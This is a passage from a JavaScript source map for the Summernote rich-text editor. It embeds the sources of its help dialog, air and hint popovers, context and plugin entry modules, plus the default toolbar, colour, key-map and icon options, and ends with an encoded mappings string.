deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    });\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\n\nexport default class HelpDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<p class=\"text-center\">',\n      '<a href=\"http://summernote.org/\" target=\"_blank\">Summernote @@VERSION@@</a> · ',\n      '<a href=\"https://github.com/summernote/summernote\" target=\"_blank\">Project</a> · ',\n      '<a href=\"https://github.com/summernote/summernote/issues\" target=\"_blank\">Issues</a>',\n      '</p>'\n    ].join('');\n\n    this.$dialog = this.ui.dialog({\n      title: this.lang.options.help,\n      fade: this.options.dialogsFade,\n      body: this.createShortcutList(),\n      footer: body,\n      callback: ($node) => {\n        $node.find('.modal-body,.note-modal-body').css({\n          'max-height': 300,\n          'overflow': 'scroll'\n        });\n      }\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  createShortcutList() {\n    const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc'];\n    return Object.keys(keyMap).map((key) => {\n      const command = keyMap[key];\n      const $row = $('<div><div class=\"help-list-item\"/></div>');\n      $row.append($('<label><kbd>' + key + '</kdb></label>').css({\n        'width': 180,\n        'margin-right': 10\n      })).append($('<span/>').html(this.context.memo('help.' + command) || command));\n      return $row.html();\n    }).join('');\n  }\n\n  /**\n   * show help dialog\n   *\n   * @return {Promise}\n   */\n  showHelpDialog() {\n    return $.Deferred((deferred) => {\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n        deferred.resolve();\n      });\n      this.ui.showDialog(this.$dialog);\n    }).promise();\n  }\n\n  show() {\n    this.context.invoke('editor.saveRange');\n    this.showHelpDialog().then(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nconst AIR_MODE_POPOVER_X_OFFSET = 20;\n\nexport default class AirPopover {\n  constructor(context) {\n    this.context = context;\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.keyup summernote.mouseup summernote.scroll': () => {\n        this.update();\n      },\n      'summernote.disable summernote.change summernote.dialog.shown': () => {\n        this.hide();\n      },\n      'summernote.focusout': (we, e) => {\n        // [workaround] Firefox doesn't support relatedTarget on focusout\n        //  - Ignore hide action on focus out in FF.\n        if (env.isFF) {\n          return;\n        }\n\n        if (!e.relatedTarget || !dom.ancestor(e.relatedTarget, func.eq(this.$popover[0]))) {\n          this.hide();\n        }\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return this.options.airMode && !lists.isEmpty(this.options.popover.air);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-air-popover'\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.air);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update() {\n    const styleInfo = this.context.invoke('editor.currentStyle');\n    if (styleInfo.range && !styleInfo.range.isCollapsed()) {\n      const rect = lists.last(styleInfo.range.getClientRects());\n      if (rect) {\n        const bnd = func.rect2bnd(rect);\n        this.$popover.css({\n          display: 'block',\n          left: Math.max(bnd.left + bnd.width / 2, 0) - AIR_MODE_POPOVER_X_OFFSET,\n          top: bnd.top + bnd.height\n        });\n        this.context.invoke('buttons.updateCurrentStyle', this.$popover);\n      }\n    } else {\n      this.hide();\n    }\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport func from '../core/func';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\nimport range from '../core/range';\nimport key from '../core/key';\n\nconst POPOVER_DIST = 5;\n\nexport default class HintPopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$editable = context.layoutInfo.editable;\n    this.options = context.options;\n    this.hint = this.options.hint || [];\n    this.direction = this.options.hintDirection || 'bottom';\n    this.hints = $.isArray(this.hint) ? this.hint : [this.hint];\n\n    this.events = {\n      'summernote.keyup': (we, e) => {\n        if (!e.isDefaultPrevented()) {\n          this.handleKeyup(e);\n        }\n      },\n      'summernote.keydown': (we, e) => {\n        this.handleKeydown(e);\n      },\n      'summernote.disable summernote.dialog.shown': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return this.hints.length > 0;\n  }\n\n  initialize() {\n    this.lastWordRange = null;\n    this.$popover = this.ui.popover({\n      className: 'note-hint-popover',\n      hideArrow: true,\n      direction: ''\n    }).render().appendTo(this.options.container);\n\n    this.$popover.hide();\n    this.$content = this.$popover.find('.popover-content,.note-popover-content');\n    this.$content.on('click', '.note-hint-item', () => {\n      this.$content.find('.active').removeClass('active');\n      $(this).addClass('active');\n      this.replace();\n    });\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  selectItem($item) {\n    this.$content.find('.active').removeClass('active');\n    $item.addClass('active');\n\n    this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2);\n  }\n\n  moveDown() {\n    const $current = this.$content.find('.note-hint-item.active');\n    const $next = $current.next();\n\n    if ($next.length) {\n      this.selectItem($next);\n    } else {\n      let $nextGroup = $current.parent().next();\n\n      if (!$nextGroup.length) {\n        $nextGroup = this.$content.find('.note-hint-group').first();\n      }\n\n      this.selectItem($nextGroup.find('.note-hint-item').first());\n    }\n  }\n\n  moveUp() {\n    const $current = this.$content.find('.note-hint-item.active');\n    const $prev = $current.prev();\n\n    if ($prev.length) {\n      this.selectItem($prev);\n    } else {\n      let $prevGroup = $current.parent().prev();\n\n      if (!$prevGroup.length) {\n        $prevGroup = this.$content.find('.note-hint-group').last();\n      }\n\n      this.selectItem($prevGroup.find('.note-hint-item').last());\n    }\n  }\n\n  replace() {\n    const $item = this.$content.find('.note-hint-item.active');\n\n    if ($item.length) {\n      const node = this.nodeFromItem($item);\n      // XXX: consider to move codes to editor for recording redo/undo.\n      this.lastWordRange.insertNode(node);\n      range.createFromNode(node).collapse().select();\n\n      this.lastWordRange = null;\n      this.hide();\n      this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]);\n      this.context.invoke('editor.focus');\n    }\n  }\n\n  nodeFromItem($item) {\n    const hint = this.hints[$item.data('index')];\n    const item = $item.data('item');\n    let node = hint.content ? hint.content(item) : item;\n    if (typeof node === 'string') {\n      node = dom.createText(node);\n    }\n    return node;\n  }\n\n  createItemTemplates(hintIdx, items) {\n    const hint = this.hints[hintIdx];\n    return items.map((item, idx) => {\n      const $item = $('<div class=\"note-hint-item\"/>');\n      $item.append(hint.template ? hint.template(item) : item + '');\n      $item.data({\n        'index': hintIdx,\n        'item': item\n      });\n      return $item;\n    });\n  }\n\n  handleKeydown(e) {\n    if (!this.$popover.is(':visible')) {\n      return;\n    }\n\n    if (e.keyCode === key.code.ENTER) {\n      e.preventDefault();\n      this.replace();\n    } else if (e.keyCode === key.code.UP) {\n      e.preventDefault();\n      this.moveUp();\n    } else if (e.keyCode === key.code.DOWN) {\n      e.preventDefault();\n      this.moveDown();\n    }\n  }\n\n  searchKeyword(index, keyword, callback) {\n    const hint = this.hints[index];\n    if (hint && hint.match.test(keyword) && hint.search) {\n      const matches = hint.match.exec(keyword);\n      hint.search(matches[1], callback);\n    } else {\n      callback();\n    }\n  }\n\n  createGroup(idx, keyword) {\n    const $group = $('<div class=\"note-hint-group note-hint-group-' + idx + '\"/>');\n    this.searchKeyword(idx, keyword, (items) => {\n      items = items || [];\n      if (items.length) {\n        $group.html(this.createItemTemplates(idx, items));\n        this.show();\n      }\n    });\n\n    return $group;\n  }\n\n  handleKeyup(e) {\n    if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) {\n      const wordRange = this.context.invoke('editor.createRange').getWordRange();\n      const keyword = wordRange.toString();\n      if (this.hints.length && keyword) {\n        this.$content.empty();\n\n        const bnd = func.rect2bnd(lists.last(wordRange.getClientRects()));\n        if (bnd) {\n          this.$popover.hide();\n          this.lastWordRange = wordRange;\n          this.hints.forEach((hint, idx) => {\n            if (hint.match.test(keyword)) {\n              this.createGroup(idx, keyword).appendTo(this.$content);\n            }\n          });\n          // select first .note-hint-item\n          this.$content.find('.note-hint-item:first').addClass('active');\n\n          // set position for popover after group is created\n          if (this.direction === 'top') {\n            this.$popover.css({\n              left: bnd.left,\n              top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST\n            });\n          } else {\n            this.$popover.css({\n              left: bnd.left,\n              top: bnd.top + bnd.height + POPOVER_DIST\n            });\n          }\n        }\n      } else {\n        this.hide();\n      }\n    }\n  }\n\n  show() {\n    this.$popover.show();\n  }\n\n  hide() {\n    this.$popover.hide();\n  }\n}\n","import $ from 'jquery';\nimport func from './core/func';\nimport lists from './core/lists';\nimport dom from './core/dom';\n\nexport default class Context {\n  /**\n   * @param {jQuery} $note\n   * @param {Object} options\n   */\n  constructor($note, options) {\n    this.ui = $.summernote.ui;\n    this.$note = $note;\n\n    this.memos = {};\n    this.modules = {};\n    this.layoutInfo = {};\n    this.options = options;\n\n    this.initialize();\n  }\n\n  /**\n   * create layout and initialize modules and other resources\n   */\n  initialize() {\n    this.layoutInfo = this.ui.createLayout(this.$note, this.options);\n    this._initialize();\n    this.$note.hide();\n    return this;\n  }\n\n  /**\n   * destroy modules and other resources and remove layout\n   */\n  destroy() {\n    this._destroy();\n    this.$note.removeData('summernote');\n    this.ui.removeLayout(this.$note, this.layoutInfo);\n  }\n\n  /**\n   * destory modules and other resources and initialize it again\n   */\n  reset() {\n    const disabled = this.isDisabled();\n    this.code(dom.emptyPara);\n    this._destroy();\n    this._initialize();\n\n    if (disabled) {\n      this.disable();\n    }\n  }\n\n  _initialize() {\n    // add optional buttons\n    const buttons = $.extend({}, this.options.buttons);\n    Object.keys(buttons).forEach((key) => {\n      this.memo('button.' + key, buttons[key]);\n    });\n\n    const modules = $.extend({}, this.options.modules, $.summernote.plugins || {});\n\n    // add and initialize modules\n    Object.keys(modules).forEach((key) => {\n      this.module(key, modules[key], true);\n    });\n\n    Object.keys(this.modules).forEach((key) => {\n      this.initializeModule(key);\n    });\n  }\n\n  _destroy() {\n    // destroy modules with reversed order\n    Object.keys(this.modules).reverse().forEach((key) => {\n      this.removeModule(key);\n    });\n\n    Object.keys(this.memos).forEach((key) => {\n      this.removeMemo(key);\n    });\n    // trigger custom onDestroy callback\n    this.triggerEvent('destroy', this);\n  }\n\n  code(html) {\n    const isActivated = this.invoke('codeview.isActivated');\n\n    if (html === undefined) {\n      this.invoke('codeview.sync');\n      return isActivated ? this.layoutInfo.codable.val() : this.layoutInfo.editable.html();\n    } else {\n      if (isActivated) {\n        this.layoutInfo.codable.val(html);\n      } else {\n        this.layoutInfo.editable.html(html);\n      }\n      this.$note.val(html);\n      this.triggerEvent('change', html);\n    }\n  }\n\n  isDisabled() {\n    return this.layoutInfo.editable.attr('contenteditable') === 'false';\n  }\n\n  enable() {\n    this.layoutInfo.editable.attr('contenteditable', true);\n    this.invoke('toolbar.activate', true);\n    this.triggerEvent('disable', false);\n  }\n\n  disable() {\n    // close codeview if codeview is opend\n    if (this.invoke('codeview.isActivated')) {\n      this.invoke('codeview.deactivate');\n    }\n    this.layoutInfo.editable.attr('contenteditable', false);\n    this.invoke('toolbar.deactivate', true);\n\n    this.triggerEvent('disable', true);\n  }\n\n  triggerEvent() {\n    const namespace = lists.head(arguments);\n    const args = lists.tail(lists.from(arguments));\n\n    const callback = this.options.callbacks[func.namespaceToCamel(namespace, 'on')];\n    if (callback) {\n      callback.apply(this.$note[0], args);\n    }\n    this.$note.trigger('summernote.' + namespace, args);\n  }\n\n  initializeModule(key) {\n    const module = this.modules[key];\n    module.shouldInitialize = module.shouldInitialize || func.ok;\n    if (!module.shouldInitialize()) {\n      return;\n    }\n\n    // initialize module\n    if (module.initialize) {\n      module.initialize();\n    }\n\n    // attach events\n    if (module.events) {\n      dom.attachEvents(this.$note, module.events);\n    }\n  }\n\n  module(key, ModuleClass, withoutIntialize) {\n    if (arguments.length === 1) {\n      return this.modules[key];\n    }\n\n    this.modules[key] = new ModuleClass(this);\n\n    if (!withoutIntialize) {\n      this.initializeModule(key);\n    }\n  }\n\n  removeModule(key) {\n    const module = this.modules[key];\n    if (module.shouldInitialize()) {\n      if (module.events) {\n        dom.detachEvents(this.$note, module.events);\n      }\n\n      if (module.destroy) {\n        module.destroy();\n      }\n    }\n\n    delete this.modules[key];\n  }\n\n  memo(key, obj) {\n    if (arguments.length === 1) {\n      return this.memos[key];\n    }\n    this.memos[key] = obj;\n  }\n\n  removeMemo(key) {\n    if (this.memos[key] && this.memos[key].destroy) {\n      this.memos[key].destroy();\n    }\n\n    delete this.memos[key];\n  }\n\n  /**\n   * Some buttons need to change their visual style immediately once they get pressed\n   */\n  createInvokeHandlerAndUpdateState(namespace, value) {\n    return (event) => {\n      this.createInvokeHandler(namespace, value)(event);\n      this.invoke('buttons.updateCurrentStyle');\n    };\n  }\n\n  createInvokeHandler(namespace, value) {\n    return (event) => {\n      event.preventDefault();\n      const $target = $(event.target);\n      this.invoke(namespace, value || $target.closest('[data-value]').data('value'), $target);\n    };\n  }\n\n  invoke() {\n    const namespace = lists.head(arguments);\n    const args = lists.tail(lists.from(arguments));\n\n    const splits = namespace.split('.');\n    const hasSeparator = splits.length > 1;\n    const moduleName = hasSeparator && lists.head(splits);\n    const methodName = hasSeparator ? lists.last(splits) : lists.head(splits);\n\n    const module = this.modules[moduleName || 'editor'];\n    if (!moduleName && this[methodName]) {\n      return this[methodName].apply(this, args);\n    } else if (module && module[methodName] && module.shouldInitialize()) {\n      return module[methodName].apply(module, args);\n    }\n  }\n}\n","import $ from 'jquery';\nimport env from './base/core/env';\nimport lists from './base/core/lists';\nimport Context from './base/Context';\n\n$.fn.extend({\n  /**\n   * Summernote API\n   *\n   * @param {Object|String}\n   * @return {this}\n   */\n  summernote: function() {\n    const type = $.type(lists.head(arguments));\n    const isExternalAPICalled = type === 'string';\n    const hasInitOptions = type === 'object';\n\n    const options = $.extend({}, $.summernote.options, hasInitOptions ? lists.head(arguments) : {});\n\n    // Update options\n    options.langInfo = $.extend(true, {}, $.summernote.lang['en-US'], $.summernote.lang[options.lang]);\n    options.icons = $.extend(true, {}, $.summernote.options.icons, options.icons);\n    options.tooltip = options.tooltip === 'auto' ? !env.isSupportTouch : options.tooltip;\n\n    this.each((idx, note) => {\n      const $note = $(note);\n      if (!$note.data('summernote')) {\n        const context = new Context($note, options);\n        $note.data('summernote', context);\n        $note.data('summernote').triggerEvent('init', context.layoutInfo);\n      }\n    });\n\n    const $note = this.first();\n    if ($note.length) {\n      const context = $note.data('summernote');\n      if (isExternalAPICalled) {\n        return context.invoke.apply(context, lists.from(arguments));\n      } else if (options.focus) {\n        context.invoke('editor.focus');\n      }\n    }\n\n    return this;\n  }\n});\n","import $ from 'jquery';\nimport ui from './ui';\nimport '../base/summernote-en-US';\nimport Editor from '../base/module/Editor';\nimport Clipboard from '../base/module/Clipboard';\nimport Dropzone from '../base/module/Dropzone';\nimport Codeview from '../base/module/Codeview';\nimport Statusbar from '../base/module/Statusbar';\nimport Fullscreen from '../base/module/Fullscreen';\nimport Handle from '../base/module/Handle';\nimport AutoLink from '../base/module/AutoLink';\nimport AutoSync from '../base/module/AutoSync';\nimport Placeholder from '../base/module/Placeholder';\nimport Buttons from '../base/module/Buttons';\nimport Toolbar from '../base/module/Toolbar';\nimport LinkDialog from '../base/module/LinkDialog';\nimport LinkPopover from '../base/module/LinkPopover';\nimport ImageDialog from '../base/module/ImageDialog';\nimport ImagePopover from '../base/module/ImagePopover';\nimport TablePopover from '../base/module/TablePopover';\nimport VideoDialog from '../base/module/VideoDialog';\nimport HelpDialog from '../base/module/HelpDialog';\nimport AirPopover from '../base/module/AirPopover';\nimport HintPopover from '../base/module/HintPopover';\n\n$.summernote = $.extend($.summernote, {\n  version: '@@VERSION@@',\n  ui: ui,\n\n  plugins: {},\n\n  options: {\n    modules: {\n      'editor': Editor,\n      'clipboard': Clipboard,\n      'dropzone': Dropzone,\n      'codeview': Codeview,\n      'statusbar': Statusbar,\n      'fullscreen': Fullscreen,\n      'handle': Handle,\n      // FIXME: HintPopover must be front of autolink\n      //  - Script error about range when Enter key is pressed on hint popover\n      'hintPopover': HintPopover,\n      'autoLink': AutoLink,\n      'autoSync': AutoSync,\n      'placeholder': Placeholder,\n      'buttons': Buttons,\n      'toolbar': Toolbar,\n      'linkDialog': LinkDialog,\n      'linkPopover': LinkPopover,\n      'imageDialog': ImageDialog,\n      'imagePopover': ImagePopover,\n      'tablePopover': TablePopover,\n      'videoDialog': VideoDialog,\n      'helpDialog': HelpDialog,\n      'airPopover': AirPopover\n    },\n\n    buttons: {},\n\n    lang: 'en-US',\n\n    followingToolbar: true,\n    otherStaticBar: '',\n\n    // toolbar\n    toolbar: [\n      ['style', ['style']],\n      ['font', ['bold', 'underline', 'clear']],\n      ['fontname', ['fontname']],\n      ['fontsize', ['fontsize']],\n      ['color', ['color']],\n      ['para', ['ul', 'ol', 'paragraph']],\n      ['table', ['table']],\n      ['insert', ['link', 'picture', 'video']],\n      ['view', ['fullscreen', 'codeview', 'help']]\n    ],\n\n    // popover\n    popatmouse: true,\n    popover: {\n      image: [\n        ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n        ['float', ['floatLeft', 'floatRight', 'floatNone']],\n        ['remove', ['removeMedia']]\n      ],\n      link: [\n        ['link', ['linkDialogShow', 'unlink']]\n      ],\n      table: [\n        ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n        ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n      ],\n      air: [\n        ['color', ['color']],\n        ['font', ['bold', 'underline', 'clear']],\n        ['para', ['ul', 'paragraph']],\n        ['table', ['table']],\n        ['insert', ['link', 'picture']]\n      ]\n    },\n\n    // air mode: inline editor\n    airMode: false,\n\n    width: null,\n    height: null,\n\n    focus: false,\n    tabSize: 4,\n    styleWithSpan: true,\n    shortcuts: true,\n    textareaAutoSync: true,\n    hintDirection: 'bottom',\n    tooltip: 'auto',\n    container: 'body',\n    maxTextLength: 0,\n\n    styleTags: ['p', 'pre', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'],\n\n    fontNames: [\n      'Arial', 'Arial Black', 'Comic Sans MS', 'Courier New',\n      'Helvetica Neue', 'Helvetica', 'Impact', 'Lucida Grande',\n      'Tahoma', 'Times New Roman', 'Verdana'\n    ],\n\n    fontSizes: ['8', '9', '10', '11', '12', '14', '18', '24', '36'],\n\n    // pallete colors(n x n)\n    colors: [\n      ['#000000', '#424242', '#636363', '#9C9C94', '#CEC6CE', '#EFEFEF', '#F7F7F7', '#FFFFFF'],\n      ['#FF0000', '#FF9C00', '#FFFF00', '#00FF00', '#00FFFF', '#0000FF', '#9C00FF', '#FF00FF'],\n      ['#F7C6CE', '#FFE7CE', '#FFEFC6', '#D6EFD6', '#CEDEE7', '#CEE7F7', '#D6D6E7', '#E7D6DE'],\n      ['#E79C9C', '#FFC69C', '#FFE79C', '#B5D6A5', '#A5C6CE', '#9CC6EF', '#B5A5D6', '#D6A5BD'],\n      ['#E76363', '#F7AD6B', '#FFD663', '#94BD7B', '#73A5AD', '#6BADDE', '#8C7BC6', '#C67BA5'],\n      ['#CE0000', '#E79439', '#EFC631', '#6BA54A', '#4A7B8C', '#3984C6', '#634AA5', '#A54A7B'],\n      ['#9C0000', '#B56308', '#BD9400', '#397B21', '#104A5A', '#085294', '#311873', '#731842'],\n      ['#630000', '#7B3900', '#846300', '#295218', '#083139', '#003163', '#21104A', '#4A1031']\n    ],\n\n    // http://chir.ag/projects/name-that-color/\n    colorsName: [\n      ['Black', 'Tundora', 'Dove Gray', 'Star Dust', 'Pale Slate', 'Gallery', 'Alabaster', 'White'],\n      ['Red', 'Orange Peel', 'Yellow', 'Green', 'Cyan', 'Blue', 'Electric Violet', 'Magenta'],\n      ['Azalea', 'Karry', 'Egg White', 'Zanah', 'Botticelli', 'Tropical Blue', 'Mischka', 'Twilight'],\n      ['Tonys Pink', 'Peach Orange', 'Cream Brulee', 'Sprout', 'Casper', 'Perano', 'Cold Purple', 'Careys Pink'],\n      ['Mandy', 'Rajah', 'Dandelion', 'Olivine', 'Gulf Stream', 'Viking', 'Blue Marguerite', 'Puce'],\n      ['Guardsman Red', 'Fire Bush', 'Golden Dream', 'Chelsea Cucumber', 'Smalt Blue', 'Boston Blue', 'Butterfly Bush', 'Cadillac'],\n      ['Sangria', 'Mai Tai', 'Buddha Gold', 'Forest Green', 'Eden', 'Venice Blue', 'Meteorite', 'Claret'],\n      ['Rosewood', 'Cinnamon', 'Olive', 'Parsley', 'Tiber', 'Midnight Blue', 'Valentino', 'Loulou']\n    ],\n\n    lineHeights: ['1.0', '1.2', '1.4', '1.5', '1.6', '1.8', '2.0', '3.0'],\n\n    tableClassName: 'table table-bordered',\n\n    insertTableMaxSize: {\n      col: 10,\n      row: 10\n    },\n\n    dialogsInBody: false,\n    dialogsFade: false,\n\n    maximumImageFileSize: null,\n\n    callbacks: {\n      onInit: null,\n      onFocus: null,\n      onBlur: null,\n      onBlurCodeview: null,\n      onEnter: null,\n      onKeyup: null,\n      onKeydown: null,\n      onSubmit: null,\n      onImageUpload: null,\n      onImageUploadError: null\n    },\n\n    codemirror: {\n      mode: 'text/html',\n      htmlMode: true,\n      lineNumbers: true\n    },\n\n    keyMap: {\n      pc: {\n        'ENTER': 'insertParagraph',\n        'CTRL+Z': 'undo',\n        'CTRL+Y': 'redo',\n        'TAB': 'tab',\n        'SHIFT+TAB': 'untab',\n        'CTRL+B': 'bold',\n        'CTRL+I': 'italic',\n        'CTRL+U': 'underline',\n        'CTRL+SHIFT+S': 'strikethrough',\n        'CTRL+BACKSLASH': 'removeFormat',\n        'CTRL+SHIFT+L': 'justifyLeft',\n        'CTRL+SHIFT+E': 'justifyCenter',\n        'CTRL+SHIFT+R': 'justifyRight',\n        'CTRL+SHIFT+J': 'justifyFull',\n        'CTRL+SHIFT+NUM7': 'insertUnorderedList',\n        'CTRL+SHIFT+NUM8': 'insertOrderedList',\n        'CTRL+LEFTBRACKET': 'outdent',\n        'CTRL+RIGHTBRACKET': 'indent',\n        'CTRL+NUM0': 'formatPara',\n        'CTRL+NUM1': 'formatH1',\n        'CTRL+NUM2': 'formatH2',\n        'CTRL+NUM3': 'formatH3',\n        'CTRL+NUM4': 'formatH4',\n        'CTRL+NUM5': 'formatH5',\n        'CTRL+NUM6': 'formatH6',\n        'CTRL+ENTER': 'insertHorizontalRule',\n        'CTRL+K': 'linkDialog.show'\n      },\n\n      mac: {\n        'ENTER': 'insertParagraph',\n        'CMD+Z': 'undo',\n        'CMD+SHIFT+Z': 'redo',\n        'TAB': 'tab',\n        'SHIFT+TAB': 'untab',\n        'CMD+B': 'bold',\n        'CMD+I': 'italic',\n        'CMD+U': 'underline',\n        'CMD+SHIFT+S': 'strikethrough',\n        'CMD+BACKSLASH': 'removeFormat',\n        'CMD+SHIFT+L': 'justifyLeft',\n        'CMD+SHIFT+E': 'justifyCenter',\n        'CMD+SHIFT+R': 'justifyRight',\n        'CMD+SHIFT+J': 'justifyFull',\n        'CMD+SHIFT+NUM7': 'insertUnorderedList',\n        'CMD+SHIFT+NUM8': 'insertOrderedList',\n        'CMD+LEFTBRACKET': 'outdent',\n        'CMD+RIGHTBRACKET': 'indent',\n        'CMD+NUM0': 'formatPara',\n        'CMD+NUM1': 'formatH1',\n        'CMD+NUM2': 'formatH2',\n        'CMD+NUM3': 'formatH3',\n        'CMD+NUM4': 'formatH4',\n        'CMD+NUM5': 'formatH5',\n        'CMD+NUM6': 'formatH6',\n        'CMD+ENTER': 'insertHorizontalRule',\n        'CMD+K': 'linkDialog.show'\n      }\n    },\n    icons: {\n      'align': 'note-icon-align',\n      'alignCenter': 'note-icon-align-center',\n      'alignJustify': 'note-icon-align-justify',\n      'alignLeft': 'note-icon-align-left',\n      'alignRight': 'note-icon-align-right',\n      'rowBelow': 'note-icon-row-below',\n      'colBefore': 'note-icon-col-before',\n      'colAfter': 'note-icon-col-after',\n      'rowAbove': 'note-icon-row-above',\n      'rowRemove': 'note-icon-row-remove',\n      'colRemove': 'note-icon-col-remove',\n      'indent': 'note-icon-align-indent',\n      'outdent': 'note-icon-align-outdent',\n      'arrowsAlt': 'note-icon-arrows-alt',\n      'bold': 'note-icon-bold',\n      'caret': 'note-icon-caret',\n      'circle': 'note-icon-circle',\n      'close': 'note-icon-close',\n      'code': 'note-icon-code',\n      'eraser': 'note-icon-eraser',\n      'font': 'note-icon-font',\n      'frame': 'note-icon-frame',\n      'italic': 'note-icon-italic',\n      'link': 'note-icon-link',\n      'unlink': 'note-icon-chain-broken',\n      'magic': 'note-icon-magic',\n      'menuCheck': 'note-icon-menu-check',\n      'minus': 'note-icon-minus',\n      'orderedlist': 'note-icon-orderedlist',\n      'pencil': 'note-icon-pencil',\n      'picture': 'note-icon-picture',\n      'question': 'note-icon-question',\n      'redo': 'note-icon-redo',\n      'square': 'note-icon-square',\n      'strikethrough': 'note-icon-strikethrough',\n      'subscript': 'note-icon-subscript',\n      'superscript': 'note-icon-superscript',\n      'table': 'note-icon-table',\n      'textHeight': 'note-icon-text-height',\n      'trash': 'note-icon-trash',\n      'underline': 'note-icon-underline',\n      'undo': 'note-icon-undo',\n      'unorderedlist': 'note-icon-unorderedlist',\n      'video': 'note-icon-video'\n    }\n  }\n});\n\nimport '../summernote'; // eslint-disable-line\n"],"names":["$","isEmpty","Codeview"],"mappings":";;;;;;;;;;;;;;;;;AAEA;IACE,kBAAY,MAAM,EAAE,QAAQ,EAAE,OAAO,EAAE,QAAQ;QAC7C,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC;QACrB,IAAI,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACzB,IAAI,CAAC,OAAO,GAAG,OAAO,CAAC;QACvB,IAAI,CAAC,QAAQ,GAAG,QAAQ,CAAC;KAC1B;IAED,yBAAM,GAAN,UAAO,OAAO;QACZ,IAAM,KAAK,GAAGA,GAAC,CAAC,IAAI,CAAC,MAAM,CAAC,CAAC;QAE7B,IAAI,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,OAAO,CAAC,QAAQ,EAAE;YACzC,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,QAAQ,CAAC,CAAC;SACnC;QAED,IAAI,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,OAAO,CAAC,SAAS,EAAE;YAC1C,KAAK,CAAC,QAAQ,CAAC,IAAI,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC;SACxC;QAED,IAAI,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE;YACrCA,GAAC,CAAC,IAAI,CAAC,IAAI,CAAC,OAAO,CAAC,IAAI,EAAE,UAAC,CAAC,EAAE,CAAC;gBAC7B,KAAK,CAAC,IAAI,CAAC,OAAO,GAAG,CAAC,EAAE,CAAC,CAAC,CAAC;aAC5B,CAAC,CAAC;SACJ;QAED,IAAI,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,OAAO,CAAC,KAAK,EAAE;YACtC,KAAK,CAAC,EAAE,CAAC,OAAO,EAAE,IAAI,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC;SACvC;QAED,IAAI,IAAI,CAAC,QAAQ,EAAE;YACjB,IAAM,YAAU,GAAG,KAAK,CAAC,IAAI,CAAC,0BAA0B,CAAC,CAAC;YAC1D,IAAI,CAAC,QAAQ,CAAC,OAAO,CAAC,UAAC,KAAK;gBAC1B,KAAK,CAAC,MAAM,CAAC,YAAU,CAAC,MAAM,GAAG,YAAU,GAAG,KAAK,CAAC,CAAC;aACtD,CAAC,CAAC;SACJ;QAED,IAAI,IAAI,CAAC,QAAQ,EAAE;YACjB,IAAI,CAAC,QAAQ,CAAC,KAAK,EAAE,IAAI,CAAC,OAAO,CAAC,CAAC;SACpC;QAED,IAAI,IAAI,CAAC,OAAO,IAAI,IAAI,CAAC,OAAO,CAAC,QAAQ,EAAE;YACzC,IAAI,CAAC,OAAO,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC;SAC9B;QAED,IAAI,OAAO,EAAE;YACX,OAAO,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;SACvB;QAED,OAAO,KAAK,CAAC;KACd;IACH,eAAC;CAAA,IAAA;AAED,eAAe;IACb,MAAM,EAAE,UAAC,MAAM,EAAE,QAAQ;QACvB,OAAO;YACL,IAAM,OAAO,GAAG,OAAO,SAAS,CAAC,CAAC,CAAC,KAAK,QAAQ,GAAG,SAAS,CAAC,CAAC,CAAC,GAAG,SAAS,CAAC,CAAC,CAAC,CAAC;YAC/E,IAAI,QAAQ,GAAGA,GAAC,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,GAAG,SAAS,CAAC,CAAC,CAAC,GAAG,EAAE,CAAC;YAC3D,IAAI,OAAO,IAAI,OAAO,CAAC,QAAQ,EAAE;gBAC/B,QAAQ,GAAG,OAAO,CAAC,QAAQ,CAAC;aAC7B;YACD,OAAO,IAAI,QAAQ,CAAC,MAAM,EAAE,QAAQ,EAAE,OAAO,EAAE,QAAQ,CAAC,CAAC;SAC1D,CAAC;KACH;CACF,CAAC;;ACjEF